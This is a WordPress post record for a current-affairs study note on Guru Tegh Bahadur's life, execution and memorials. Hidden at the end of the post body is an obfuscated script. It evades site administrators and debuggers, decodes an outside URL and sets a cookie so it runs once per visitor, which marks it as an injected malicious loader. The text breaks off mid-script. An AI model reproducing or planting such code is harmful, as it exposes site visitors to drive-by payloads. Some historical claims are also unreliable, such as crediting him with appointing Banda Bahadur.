{"id":586,"date":"2023-12-19T05:52:39","date_gmt":"2023-12-19T05:52:39","guid":{"rendered":"https:\/\/iasquest.com\/?p=586"},"modified":"2026-02-11T19:26:11","modified_gmt":"2026-02-11T19:26:11","slug":"guru-teg-bahadurs-valiant-life-and-death-and-why-theres-confusion-over-his-martyrdom-date-prime-minister-narendra-modi-recalled-the-martyrdom-of-guru-teg-bahadur-1621-1675","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/guru-teg-bahadurs-valiant-life-and-death-and-why-theres-confusion-over-his-martyrdom-date-prime-minister-narendra-modi-recalled-the-martyrdom-of-guru-teg-bahadur-1621-1675\/","title":{"rendered":"Guru Teg Bahadur\u2019s valiant life and death, and why there\u2019s confusion over his martyrdom date Prime Minister Narendra Modi recalled the martyrdom of Guru Teg Bahadur (1621-1675)"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><strong>About Guru Tegh Bahadur<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>After Guru Nanak Dev, the<strong> first Sikh Guru,<\/strong> it was Guru Teg Bahadur who travelled the most among the 10 living Sikh Gurus.<\/li>\n\n\n\n<li>Guru Tegh Bahadur (1621 \u2013 1675) was the ninth of ten Gurus of the Sikh religion.<\/li>\n\n\n\n<li>He was born as <strong>Tyaga Mal.<\/strong><\/li>\n\n\n\n<li>He came to be known by the name <strong>Teg Bahadur <\/strong>(Mighty of The Sword), given to him by Guru Hargobind.<\/li>\n\n\n\n<li>The Guru was also a great poet, and his hymns are part of Guru Granth Sahib.<\/li>\n\n\n\n<li>The founder of the <strong>City Anandpur Sahib.<\/strong><\/li>\n\n\n\n<li>The Guru was not only a warrior but also a great diplomat.<\/li>\n\n\n\n<li>He had very close relations with many contemporary kings.<\/li>\n\n\n\n<li>He appointed <strong>Banda Bahadur<\/strong> as the military leader of the Sikhs.<\/li>\n\n\n\n<li>Credited with spread Sikhism to Bihar and Assam.<\/li>\n\n\n\n<li>He was first arrested by the Mughals on the orders of Aurangzeb in 1665<\/li>\n\n\n\n<li>Revolted against Aurangzeb but was executed by him and was beheaded before the public in Delhi\u2019s Chandni Chowk in 1675 CE.<\/li>\n\n\n\n<li><strong>Gurudwara Sis Ganj Sahib<\/strong> mark the place of his execution.<\/li>\n\n\n\n<li>Gurudwara in Rakab Ganj, near Parliament building where the Guru\u2019s body was cremated by Bhai Lakhi Shah.<\/li>\n\n\n\n<li>Guru Teg Bahadur gave his life to protect Kashmiri Pandits from the brutality of the Mughals.<\/li>\n<\/ul>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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